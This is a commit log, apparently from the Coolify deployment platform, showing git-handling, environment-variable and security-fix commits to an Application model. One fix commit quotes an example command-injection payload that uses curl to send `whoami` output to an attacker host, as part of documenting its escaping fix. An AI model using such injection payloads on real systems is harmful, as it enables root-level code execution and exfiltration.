Commit graph

302 commits

Author SHA1 Message Date
Andras Bacsai
1e360aa156 fix: correct variable name typo in generateGitLsRemoteCommands method 2025-10-16 09:51:37 +02:00
Andras Bacsai
8f8c90b7ae fix: prevent command injection in git ls-remote operations
**Security Fix: Command Injection Vulnerability**

This commit addresses a critical command injection vulnerability in the
`generateGitLsRemoteCommands` method that could allow low-privileged users
(team members) to execute arbitrary commands as root on the Coolify instance.

**Vulnerability Details:**
- Affected deployment types: `deploy_key` and `source` (GithubApp)
- Attack vector: Malicious git repository URLs containing shell metacharacters
- Impact: Remote code execution as root
- Example payload: `repo.git';curl attacker.com/$(whoami)`

**Changes Made:**

1. **deploy_key deployment type** (Application.php:1111-1112):
   - Added proper escaping for `$customRepository` in git ls-remote commands
   - Uses `str_replace("'", "'\\''", ...)` to escape single quotes for bash -c context
   - Wraps repository URL in single quotes to prevent interpretation of shell metacharacters

2. **source deployment type with GithubApp** (Application.php:1067-1086):
   - Added `escapeshellarg()` for all repository URL variations
   - Covers both public and private repositories
   - Handles both Docker and non-Docker execution contexts

3. **Added comprehensive unit tests** (tests/Unit/ApplicationGitSecurityTest.php):
   - Tests for deploy_key type command injection prevention
   - Tests for source type with public repos
   - Tests for other type (already fixed in previous commit)
   - Validates that malicious payloads are properly escaped

**Note:** The `other` deployment type was already fixed in commit b81baff4b.
This commit completes the security fix for all deployment types.

**Technical Details:**
The fix accounts for the `executeInDocker()` wrapper which uses `bash -c '...'`.
When commands are executed inside `bash -c` with single quotes, we must escape
single quotes as `'\''` to prevent the quotes from closing prematurely and
allowing shell injection.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
2025-10-15 14:53:50 +02:00
Andras Bacsai
b81baff4b1 fix: improve logging and add shell escaping for git ls-remote
Two improvements to Git deployment handling:

1. **ApplicationDeploymentJob.php**:
   - Fixed log message to show actual resolved commit SHA (`$this->commit`)
   - Previously showed `$this->application->git_commit_sha` which could be "HEAD"
   - Now displays the actual 40-character commit SHA that will be deployed

2. **Application.php (generateGitLsRemoteCommands)**:
   - Added `escapeshellarg()` for repository URL in 'other' deployment type
   - Prevents shell injection in git ls-remote commands
   - Complements existing shell escaping in `generateGitImportCommands`
   - Ensures consistent security across all Git operations

**Security Impact:**
- All Git commands now use properly escaped repository URLs
- Prevents command injection through malicious repository URLs
- Consistent escaping in both ls-remote and clone operations

**User Experience:**
- Deployment logs now show exact commit SHA being deployed
- More accurate debugging information for deployment issues

Co-Authored-By: Claude <noreply@anthropic.com>
2025-10-14 20:44:35 +02:00
Andras Bacsai
f254af0459 security: escape all shell directory paths in Git deployment commands
Ensures all `cd` commands in Git deployment operations use properly escaped
directory paths via `escapeshellarg()` to prevent shell injection vulnerabilities
and handle special characters correctly.

**Changes:**

1. `setGitImportSettings()` method:
   - Added `$escapedBaseDir` variable for consistent path escaping
   - Replaced all 5 instances of `cd {$baseDir}` with `cd {$escapedBaseDir}`
   - Affects: commit checkout, submodules, and LFS operations

2. `generateGitImportCommands()` method (deploy_key type):
   - Replaced 3 instances in pull request handling for GitLab, GitHub/Gitea, Bitbucket

3. `generateGitImportCommands()` method (other type):
   - Replaced 3 instances in pull request handling for GitLab, GitHub/Gitea, Bitbucket

**Security Impact:**
- Prevents shell injection from malicious directory paths
- Fixes parsing issues with special characters (@, ~, spaces)
- Consistent escaping across all deployment types: source, deploy_key, other
- Complements existing URL escaping for comprehensive security

**Testing:**
- All existing unit tests pass (5/5 Git ls-remote parsing tests)
- Code formatted with Laravel Pint

Co-Authored-By: Claude <noreply@anthropic.com>
2025-10-14 17:23:28 +02:00
Andras Bacsai
bf00405971 fix(git): handle Git redirects and improve URL parsing for tangled.sh and other Git hosts
Fixes deployment failures when Git repositories redirect (e.g., tangled.sh → tangled.org)
and improves security by adding proper shell escaping for repository URLs.

**Root Cause:**
Git redirect warnings can appear on the same line as ls-remote output with no newline:
`warning: redirecting to https://tangled.org/...196d3df...	refs/heads/master`

The previous parsing logic split by newlines and extracted text before tabs, which
included the entire warning message instead of just the 40-character commit SHA.

**Changes:**

1. **Fixed commit SHA extraction** (ApplicationDeploymentJob.php):
   - Changed from line-based parsing to regex pattern matching
   - Uses `/([0-9a-f]{40})\s*\t/` to find valid 40-char hex commit SHA before tab
   - Handles warnings on same line, separate lines, multiple warnings, and whitespace
   - Added comprehensive Ray debug logs for troubleshooting

2. **Added security fix** (Application.php):
   - Added `escapeshellarg()` for repository URLs in 'other' deployment type
   - Prevents shell injection and fixes parsing issues with special characters like `@`
   - Added Ray debug logs for deployment type tracking

3. **Comprehensive test coverage** (GitLsRemoteParsingTest.php):
   - Tests normal output without warnings
   - Tests redirect warning on separate line
   - Tests redirect warning on same line (actual tangled.sh format)
   - Tests multiple warning lines
   - Tests extra whitespace handling

**Resolves:**
- Linear issue COOLGH-53: Valid git URLs are rejected as being invalid
- GitHub issue #6568: tangled.sh deployments failing
- Handles Git redirects universally for all Git hosting services

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
2025-10-14 11:55:17 +02:00
Andras Bacsai
17505aa03b feat(application): add default NIXPACKS_NODE_VERSION environment variable for Nixpacks applications
- Introduced logic to automatically create a default NIXPACKS_NODE_VERSION environment variable when an application uses the 'nixpacks' build pack.
- Ensured the environment variable is configured with appropriate attributes for build-time usage.
2025-10-05 16:07:36 +02:00
Andras Bacsai
4b0f65c926 refactor(environment-variables): adjust ordering logic for environment variables
- Updated the ordering logic in the environment_variables methods for both Application and Service models to prioritize required variables over service-prefixed keys.
- This change enhances the clarity and organization of environment variable retrieval, ensuring that essential variables are listed first.
2025-10-03 10:28:29 +02:00
Andras Bacsai
1fe7df7e38 fix(git): trim whitespace from repository, branch, and commit SHA fields
- Add automatic trimming in Application model's boot method for git_repository, git_branch, and git_commit_sha fields
- Add real-time trimming in Source Livewire component via updated{Property} methods
- Refresh component state after save to ensure UI displays trimmed values
- Prevents deployment issues caused by accidental whitespace in git configuration
2025-09-30 12:33:40 +02:00
Andras Bacsai
c98266c09d refactor(application): improve handling of docker compose domains by normalizing keys and ensuring valid JSON structure 2025-09-29 12:14:26 +02:00
Andras Bacsai
a1f865c1fd feat(application): add normalizeWatchPaths method to improve watch path handling 2025-09-26 13:17:21 +02:00
Andras Bacsai
54f6813f29 feat(application): enhance watch path parsing to support negation syntax 2025-09-26 13:05:32 +02:00
Andras Bacsai
8b4aa7f31d chore(application): remove debugging statement from loadComposeFile method 2025-09-26 13:00:12 +02:00
Andras Bacsai
0691a1834a feat(application): implement order-based pattern matching for watch paths with negation support 2025-09-25 14:26:11 +02:00
Andras Bacsai
708a08fdd6 fix(application): enhance domain handling by replacing both dots and dashes with underscores for HTML form binding 2025-09-25 13:19:12 +02:00
Andras Bacsai
d8d316b5f8 feat(search): implement global search functionality with caching and modal interface 2025-09-19 10:17:55 +02:00
Andras Bacsai
f33df13c4e feat(environment): replace is_buildtime_only with is_runtime and is_buildtime flags for environment variables, updating related logic and views 2025-09-18 18:14:54 +02:00
Andras Bacsai
133e72336a Revert "refactor(file-transfer): replace base64 encoding with direct file transfer method in various components for improved clarity and efficiency"
This reverts commit feacedbb04.
2025-09-15 17:56:48 +02:00
Andras Bacsai
7eb0c5a757 fix(application): improve watch paths handling by trimming and filtering empty paths to prevent unnecessary triggers 2025-09-15 13:59:14 +02:00
Andras Bacsai
8e155f25b3 refactor(environment): streamline environment variable handling by replacing sorting methods with direct property access and enhancing query ordering for improved performance 2025-09-12 12:09:03 +02:00
Andras Bacsai
5b3b4bbc43 refactor(environment): remove 'is_build_time' attribute from environment variable handling across the application to simplify configuration 2025-09-11 16:51:56 +02:00
Andras Bacsai
501e6a2650 refactor(environment): standardize service name formatting by replacing '-' and '.' with '_' in environment variable keys 2025-09-11 13:59:02 +02:00
Andras Bacsai
c8f49f29c0 refactor(application): enhance environment variable retrieval in configuration change check for improved accuracy 2025-09-11 12:29:57 +02:00
Andras Bacsai
feacedbb04 refactor(file-transfer): replace base64 encoding with direct file transfer method in various components for improved clarity and efficiency 2025-09-09 11:10:38 +02:00
peaklabs-dev
6c560261f2
refactor(git): improve submodule cloning 2025-08-27 17:13:28 +02:00
broesch
c2ff9eae0d
fix(git): submodule update command uses an unsupported option (#6454) 2025-08-27 16:51:08 +02:00
Andras Bacsai
8408205955 feat(validation): add custom validation rules for Git repository URLs and branches
- Introduced `ValidGitRepositoryUrl` and `ValidGitBranch` validation rules to ensure safe and valid input for Git repository URLs and branch names.
- Updated relevant Livewire components and API controllers to utilize the new validation rules, enhancing security against command injection and invalid inputs.
- Refactored existing validation logic to improve consistency and maintainability across the application.
2025-08-22 14:38:21 +02:00
Andras Bacsai
a6fc39e798 feat(git-settings): add support for shallow cloning in application settings
- Introduced a new boolean setting `is_git_shallow_clone_enabled` to the application settings model.
- Updated the `Advanced` component to include a checkbox for enabling shallow cloning.
- Modified the `setGitImportSettings` and `generateGitImportCommands` methods to handle shallow clone logic.
- Created a migration to add the new setting to the database schema.
- Enhanced the deployment process to utilize shallow cloning for improved performance.
2025-08-21 10:16:57 +02:00
Andras Bacsai
38c0641734 feat(validation): centralize validation patterns for names and descriptions
- Introduced `ValidationPatterns` class to standardize validation rules and messages for name and description fields across the application.
- Updated various components and models to utilize the new validation patterns, ensuring consistent sanitization and validation logic.
- Replaced the `HasSafeNameAttribute` trait with `HasSafeStringAttribute` to enhance attribute handling and maintain consistency in name sanitization.
- Enhanced the `CleanupNames` command to align with the new validation rules, allowing for a broader range of valid characters in names.
2025-08-19 12:14:48 +02:00
Andras Bacsai
e958b3761d feat(cleanup): add command for sanitizing name fields across models
- Introduced `CleanupNames` command to sanitize name fields by removing invalid characters, ensuring only letters, numbers, spaces, dashes, underscores, and dots are retained.
- Implemented options for dry run, model-specific cleaning, database backup, and forced execution.
- Updated `Init` command to call the new `cleanup:names` command.
- Enhanced project and environment validation to enforce name sanitization rules.
- Added `HasSafeNameAttribute` trait to relevant models for consistent name handling.
2025-08-19 11:04:23 +02:00
Andras Bacsai
e8892b3d29 feat(core): finally fqdn is fqdn and url is url. haha 2025-08-12 10:06:19 +02:00
Andras Bacsai
a0bc4dac55 fix(application): streamline environment variable updates for Docker Compose services and enhance FQDN generation logic 2025-08-12 10:06:19 +02:00
Andras Bacsai
5bdf2e8481 refactor(previews): move preview domain generation logic to ApplicationPreview model for better encapsulation and consistency across webhook handlers 2025-07-14 19:12:57 +02:00
Andras Bacsai
e5a0cdf3b7 fix(previews): order application previews by pull request ID in descending order 2025-07-14 15:22:02 +02:00
Andras Bacsai
0b84792871 feat(deployment): add pull request filtering and pagination to deployment and backup execution components
fix(ui): make them more stylish yeah
2025-07-13 12:36:53 +02:00
Andras Bacsai
2361c34a53 refactor(error-handling): replace generic Exception with RuntimeException for improved error specificity 2025-05-29 10:49:55 +02:00
Andras Bacsai
102bdb5bc3 refactor(application): enhance application stopping logic to support multiple servers 2025-05-26 21:44:34 +02:00
Andras Bacsai
019ed43448 refactor(actions): standardize method naming for network and configuration deletion across application and service classes 2025-04-30 18:30:43 +02:00
Andras Bacsai
e062edb689 refactor(core): streamline container stopping process and reduce timeout duration; update related methods for consistency 2025-04-30 15:28:59 +02:00
Andras Bacsai
09b10073b8 chore(versions): update coolify version to 4.0.0-beta.412 and nightly version to 4.0.0-beta.413 in configuration files 2025-04-23 14:17:13 +02:00
Andras Bacsai
78ef80f800 refactor 2025-04-23 13:22:01 +02:00
Andras Bacsai
9e608f7ba5 refactor(http-basic-auth): rename 'http_basic_auth_enable' to 'http_basic_auth_enabled' across application files for consistency 2025-04-22 21:30:27 +02:00
Andras Bacsai
7e0373e439
Merge branch 'next' into feat/add-http-basic-auth 2025-04-22 21:18:43 +02:00
Christopher Kaster
2634f516d5
feat: Add HTTP Basic Authentication 2025-04-17 14:14:32 +02:00
Andras Bacsai
89bf1b30cb fix(application): append base directory to git branch URLs for improved path handling 2025-04-16 15:09:45 +02:00
Andras Bacsai
68bd945b09 refactor(Application): rename network_aliases to custom_network_aliases across the application for clarity and consistency 2025-04-09 08:42:50 +02:00
Andras Bacsai
fcf597fb16 feat(Application): add networkAliases attribute for handling network aliases as JSON or comma-separated values 2025-04-09 08:33:42 +02:00
Andras Bacsai
f8607ddf6a
Merge branch 'next' into docker-network-aliases 2025-04-08 13:27:59 +02:00
Darren Sisson
887a96dd35 removed start interval as it is not a valid option and is not defined in coolify 2025-03-31 10:44:29 +01:00
Andras Bacsai
806d892031 refactor(application): streamline healthcheck parsing from Dockerfile 2025-03-24 11:43:10 +01:00
Piotr Wójcik
0baeaa982b
Merge branch 'next' into docker-network-aliases 2025-03-16 14:50:26 +01:00